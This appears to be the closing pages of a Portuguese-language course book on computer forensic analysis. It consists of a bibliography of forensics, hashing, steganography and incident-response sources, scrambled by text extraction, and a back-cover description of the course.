Acesso em maro de 2008, disponvel em: http://www.processlibrary.com/ C., & Mandia, K. (2001). Incident Response: Investigating Computer Crime. McGraw-Hill. psyBNC. Acesso em maro de 2008, disponvel em: http://www.psybnc.info/ 1321. (Abril de 1992). Acesso em maro de 2008, disponvel em faqs.org: http://www.faqs.org/rfcs/rfc1321.html 3174. (Setembro de 2001). Acesso em maro de 2008, disponvel em faqs.org: http://www.faqs.org/rfcs/rfc3174.html analysis. Acesso em maro de 2008, disponvel em Lockeddown: http://www.lockeddown.net/rst-expl.txt M. (Agosto de 2003). Independent Review of Common Forensic Imaging Tools. Acesso em maro de 2008, disponvel em SANS Institute: http://www.sans.org/reading_room/special/index.php?id=forensicimaging Security Identifier. Acesso em maro de 2008, disponvel em Webopedia ISP Glossary: http://isp.webopedia.com/TERM/S/SID.html Components. Acesso em maro de 2008, disponvel em msdn: http://msdn2.microsoft.com/en-us/library/aa379597(VS.85).aspx

\\Prosise,

\\RFC

\\RFC

\\RST-variant

\\Scott,

\\SID:

\\SID

\\Slack

space data: Subversive Technologies & Countermeasures. Acesso em maro de 2008, disponvel em Wikipedia: http://www.wikistc.org/wiki/Slack_space_data Fingerprints Database. Acesso em maro de 2008, disponvel em: http://sunsolve.sun.com/fileFingerprints.do from Wikipedia. Acesso em maro de 2008, disponvel em Wikipedia: http://en.wikipedia.org/wiki/Steganography Hiding Data Within Data. Acesso em maro de 2008, disponvel em GaryKessler.Net: http://www.garykessler.net/library/steganography.html M. (19 de Agosto de 2005). SHA1 Collisions can be Found in 2^63 Operations. Acesso em maro de 2008, disponvel em RSA Laboratories: http://www.rsa.com/rsalabs/node.asp?id=2927 Coroners Toolkit. Acesso em maro de 2008, disponvel em: http://www.porcupine.org/forensics/tct.html Honeynet Project. Acesso em maro de 2008, disponvel em: http://www.honeynet.org/ NTFS File System from Sleuth Kit Implementation Notes (SKINs). Acesso em maro de 2008, disponvel em Sleuth Kit: http://www.sleuthkit.org/sleuthkit/docs/skins_ntfs.html Programmers File and Data Resource. Fonte: Wotsit.org: http://www.wotsit.org/list.asp?fc=0 Sleuth Kit. Acesso em maro de 2008, disponvel em: http://www.sleuthkit.org/

\\Solaris

\\Steganography

\\Steganography:

\\Szydlo,

\\The

\\The

\\The

\\The

\\The

\\Transactional

NTFS (TxF). Acesso em maro de 2008, disponvel em msdn: http://msdn2.microsoft.com/en-us/library/aa365456.aspx Acesso em maro de 2008, disponvel em Tripwire - Configuration Audit & Control Solutions: http://www.tripwire.com Antivirus. Fonte: http://www.centralcommand.com/

\\Tripwire.

\\Vexira

\\VMware

Virtualization, Virtual Machine & Virtual Server Consolidation - VMware. Acesso em maro de 2008, disponvel em VMWare: http://www.vmware.com/ HQ. Acesso em maro de 2008, disponvel em Wine HQ: http://www.winehq.org/

\\Wine

Seja um investigador capaz de coletar evidncias digitais e conduzir uma anlise em sistemas comprometidos
Anlise forense O curso apresenta as tcnicas e ferramentas utilizadas em anlise forense computacional. Aprenda os procedimentos a serem seguidos pelo investigador durante a anlise do incidente. Crie o CD de ferramentas forenses que ser utilizado durante a investigao. Aprenda a coletar evidncias em uma imagem de disco de uma mquina comprometida. Elabore uma cronologia do ataque, descrevendo o que aconteceu e quando ocorreu cada evento do computador investigado. Compreenda as particularidades do processo de anlise forense em Linux e Windows e a gnese das informaes que devem ser coletadas em cada situao enfrentada. Identifique as informaes dos programas executados e as bibliotecas associadas.

www.esr.rnp.br